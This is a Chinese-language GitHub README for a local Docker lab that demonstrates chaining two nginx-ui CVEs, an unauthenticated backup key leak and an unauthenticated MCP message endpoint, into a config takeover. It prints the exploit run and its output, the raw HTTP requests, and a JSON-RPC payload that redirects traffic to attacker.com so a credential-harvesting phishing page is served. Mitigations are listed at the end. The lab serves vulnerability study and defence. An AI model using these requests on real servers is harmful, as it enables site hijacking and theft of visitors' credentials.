Shreda/CVE-2026-33032-nginx-ui-vuln-lab

GitHub: Shreda/CVE-2026-33032-nginx-ui-vuln-lab

一个基于Docker Compose的实验项目,演示nginx-ui因缺少认证导致的备份信息泄露与MCP接口越权双漏洞链及其利用。

Stars: 0 | Forks: 0

# CVE-2026-27944 + CVE-2026-33032 — nginx-ui 零凭证 RCE 实验 一个自包含的 Docker Compose 实验,演示针对 nginx-ui v2.3.1 的 **双 CVE 链**,无需任何先验知识即可实现完整的 Nginx 接管——**无用户名、无密码、无令牌**。 ## 漏洞链 ### CVE-2026-27944 — 未认证备份端点与密钥泄露 `GET /api/backup` 无需认证。该端点返回 nginx-ui 安装的完整加密备份(包括 `app.ini`),并在响应头中**明文返回** AES-256-CBC 解密密钥与 IV: ``` X-Backup-Security: : ``` 源代码(`api/backup/router.go`): ``` r.GET("/backup", CreateBackup) // ❌ no middleware r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) ``` 解密备份后可得到 `app.ini`,其中包含第二步所需的 `[node] Secret`。 | | | |---|---| | **CVE** | CVE-2026-27944 (GHSA-g9w5-qffc-6762) | | **CVSS** | 9.8 严重 | | **受影响** | nginx-ui < 2.3.2 | | **修复版本** | nginx-ui 2.3.3 | ### CVE-2026-33032 “MCPwn” — 未认证的 MCP 消息处理器 nginx-ui v2.3.x 新增 **Model Context Protocol (MCP)** 接口,提供 12 个 Nginx 管理工具。漏洞源于 `mcp/router.go` 中缺少一次中间件调用: ``` r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...) r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ MISSING AuthRequired() ``` 通过第一步获得的 `sessionId`,攻击者可在**无用户凭证**的情况下向 `/mcp_message` 发起 POST,调用任意特权工具(包括 `nginx_config_modify` 与 `reload_nginx`)。 | | | |---|---| | **CVE** | CVE-2026-33032 | | **别名** | MCPwn(Pluto Security) | | **CVSS** | 9.8 严重 | | **受影响** | nginx-ui ≤ 2.3.3 | | **修复版本** | nginx-ui 2.3.4 | ## 实验架构 ``` ┌──────────────────────────────────────────────────────────┐ │ Browser │ │ http://localhost:8080 ──► nginx_ui (:80) │ │ │ │ │ Attacker ▼ │ │ http://localhost:9000 ──► nginx_ui (:9000) VULNERABLE │ │ (no credentials) uozi/nginx-ui:v2.3.1 │ │ │ │ ┌─────────────────────────┐ │ │ │ webapp (green) │ legitimate │ │ │ proxy_pass default │ login form │ │ └─────────────────────────┘ │ │ ┌─────────────────────────┐ │ │ │ malicious_site (red) │ phishing clone │ │ │ proxy_pass after attack │ harvests creds │ │ └─────────────────────────┘ │ └──────────────────────────────────────────────────────────┘ ``` nginx-ui 集成了其自身的 Nginx 实例。当利用脚本通过 MCP 调用 `reload_nginx` 时,会重载监听在 `:8080` 的同一 Nginx——**无需主机访问权限**。 ## 快速开始 **依赖:** Docker + Docker Compose + Python 3.10+ ``` git clone cd nginx-ui-vuln-lab docker compose up -d ``` | URL | | |-----|---| | `http://localhost:8080` | 受害者站点 — 绿色(合法) | | `http://localhost:9000` | nginx-ui 管理面板 | ## 运行利用 ``` pip install -r exploit/requirements.txt python3 exploit/exploit.py --url http://localhost:9000 ``` 脚本串联两个 CVE 且无需任何凭证: ``` ============================================================== CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE Target : http://localhost:9000 ============================================================== [*] CVE-2026-27944 — downloading backup (no auth) [+] AES key+IV from header: kW3pCR7RLawHFVeF...:oTr+K3Bd... [+] Node secret extracted: 605f228e-2480-49ec-8dd2-045d8d8a073f [*] CVE-2026-33032 — opening unauthenticated MCP session (GET /mcp) [+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a [*] Recon — reading current config [+] Current: proxy_pass http://webapp:80; [*] Overwriting default.conf via POST /mcp_message (no auth) [+] New: proxy_pass http://malicious_site:80; [*] Reloading nginx via POST /mcp_message (no auth) [+] nginx reloaded — config is live [!] Attack complete. Victims at http://localhost:8080/ are now served the phishing page. View captured credentials: http://localhost:8080/?debug=1 ``` 利用完成后,`http://localhost:8080` 会从 **绿色** 合法页面切换到 **红色** 钓鱼副本——同一 URL,对受害者无提示。 打开 `http://localhost:8080/?debug=1` 可显示攻击者面板并实时查看捕获的凭证。 ### 重置 ``` python3 exploit/exploit.py --url http://localhost:9000 --reset ``` 使用相同的 CVE 链还原原始配置并重载 Nginx。 ## 工作原理 ### 阶段 1 — 提取节点密钥(CVE-2026-27944) ``` GET /api/backup HTTP/1.1 Host: target:9000 ``` 响应: ``` HTTP/1.1 200 OK X-Backup-Security: : Content-Type: application/zip ``` 使用提供的密钥/IV 解压 ZIP → 提取 `app.ini` → 读取 `[node] Secret`。 ### 阶段 2 — 劫持 Nginx(CVE-2026-33032) **请求 1 — 建立 SSE 会话(节点密钥,无需用户认证):** ``` GET /mcp?node_secret= ``` SSE 流返回 `sessionId`。 **请求 2+ — 调用工具(完全无需认证):** ``` POST /mcp_message?sessionId= Content-Type: application/json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginx_config_modify", "arguments": { "relative_path": "default.conf", "content": "server { location / { proxy_pass http://attacker.com; } }", "sync_overwrite": false } } } ``` 无 `Authorization` 头。无 Cookie。`AuthRequired()` 在 `/mcp_message` 路由中根本不存在。 ## 可用 MCP 工具(全部无需认证即可访问) | 工具 | 影响 | |------|--------| | `nginx_config_modify` | 覆盖任意配置文件 | | `nginx_config_add` | 创建新配置文件 | | `nginx_config_get` | 读取任意配置文件 | | `nginx_config_list` | 列出所有配置文件 | | `nginx_config_enable/disable` | 启用/禁用站点配置 | | `nginx_config_rename` | 移动/重命名配置文件 | | `nginx_config_mkdir` | 创建目录 | | `nginx_config_history` | 查看变更历史 | | `nginx_config_base_path` | 暴露配置根路径 | | `nginx_status` | 检查 Nginx 状态 | | `reload_nginx` | 实时应用配置变更 | | `restart_nginx` | 完整重启 Nginx | ## 防护措施 - **补丁** — 升级至 nginx-ui ≥ 2.3.4 - **网络隔离** — 不要将 nginx-ui 暴露于不可信网络;置于 VPN 或防火墙后 - **IP 允许列表** — 在 `app.ini` 中设置非空的 `[node] IPWhiteList` 以限制 MCP 访问来源 - **MFA** — 为管理账户启用多因素认证 - **FIM** — 使用 auditd、Wazuh 等对 `/etc/nginx/conf.d/` 进行文件完整性监控
标签:API 端点, CVE-2026-27944, CVE-2026-33032, Docker Compose, JSONLines, MCPwn, nginx takeover, Nginx UI, RCE, sessionId, 加密解密, 后端开发, 备份泄露, 安全实验室, 密钥明文传输, 日志审计, 未授权访问, 模型上下文协议, 漏洞复现, 版权保护, 白名单绕过, 认证绕过, 请求拦截, 逆向工具, 零信任